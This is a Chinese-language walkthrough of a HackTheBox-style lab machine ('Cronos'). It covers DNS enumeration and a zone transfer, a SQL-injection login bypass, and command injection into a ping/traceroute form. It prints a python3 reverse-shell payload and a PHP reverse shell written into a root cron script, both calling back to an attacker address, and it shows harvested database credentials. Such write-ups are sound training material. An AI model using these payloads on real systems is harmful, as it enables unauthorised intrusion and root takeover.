这台靶机,主要考察了对DNS服务的枚举,表面上难度是Medium,实际我个人感受是Easy难度,与之前打的Trick的靶机恰好相反,废话不多说,开打,开打。
这台机器共开放了三个端口:22、53和80。
柿子专挑软的捏,我们可以直接访问这台靶机的80端口:http://10.10.10.13/,得到的是一个Apache2的默认配置页面。
出于谨慎,防止老六,我还是做了一下目录爆破,果然… 啥也没有!(这一波啊,我在第五层,而作者在第一层)
已知:当前靶机开放了53端口,而通过ip访问HTTP服务,却啥信息也没得到。
猜测:当前靶机的Apache开启了虚拟主机的功能,需要进一步枚举其绑定的域名。
所以,我们使用nslookup
工具,设置DNS服务器的地址为10.10.10.13,需要查询10.10.10.13绑定的域名,最终命令如下:
我们就成功得到了ns1.cronos.htb
的子域名,由此也能得到cronos.htb
这个二级域名。
接下来,我们对cronos.htb
做进一步枚举,看看还有没有存在其它子域名。
在这里我们可以使用dig工具来做区域传输(Zone Transfer)的查询:dig axfr @<server_ip> <domain>
从中,我们又获得了一个admin.cronos.htb
的子域名。
主页纯静态页面,没啥内容,没有攻击面。 目录爆破,也没爆破出啥内容,所以,只能PASS。
这个子域名里,直接给一个登录界面。
说实话,我最讨厌看到这种带登录界面的情况,这种情况,要么很简单,随便一个弱密码就能过,要么就比较恶心,会浪费大量的时间在这上面。
还好,本靶机给一个万能密码就能过:
admin' or 1 = 1 #
<任意字符>
登录成功后,映入眼帘的是一个管理页面:
从UI中可以看到,我们可以执行ping
或者traceroute
命令。
接下来,打开浏览器的开发者工具,对其进行抓包,复制出CURL命令的payload:
精简后,命令如下:
curl 'http://admin.cronos.htb/welcome.php' -H 'Cookie: PHPSESSID=9b49vuklfqicj3o2fujb39btj5' --data-raw 'command=traceroute&host=8.8.8.8'
从上述精简后的命令,我们在对welcome.php
进行POST请求时,它支持两个参数command
和host
。
如果服务端没有对command
参数做过滤,那就有可能造成远程任意代码执行(RCE)的漏洞。
那,接下来,我们就尝试一下:
从上图的结果来看,这台靶机果然存在RCE漏洞的,那接下来我们可以去Reverse Shell Generator网站,拿到一段python3的反弹shell的payload,最终完整的请求如下:
curl 'http://admin.cronos.htb/welcome.php' -H 'Cookie: PHPSESSID=9b49vuklfqicj3o2fujb39btj5' --data-raw 'command=python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.10\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")"'
打开新的Terminal,监听4444端口,当上述命令执行完毕后,成功拿到shell!
接下来,通过www-data
用户,在网站目录里收集各种凭据(credential):
从配置文件中,拿到mysql数据库名和密码:
# /var/www/admin/config.php
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
从数据库中,拿到admin / 4f5fffa7b2340178a716e3832451e058
。
从/etc/passwd中,获得noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash
但这些都没什么卵用,没办法帮我横向移动到noulis
用户。
正当我陷入困境时,突然一拍脑袋,这台靶机名字有点像cron,是不是存在一个定时任务,可以让我提权???
果不其然,/var/www/laravel/artisan
这个文件会以root权限的方式被周期性调用。
既然如此,我就可以写一个php的反弹shell来替换artisan文件的内容:
echo '<?php $sock=fsockopen("10.10.16.10",4445);system("sh <&3 >&3 2>&3"); ?>' > /var/www/laravel/artisan
最后,稍等片刻,等待shell回弹…
提权完成!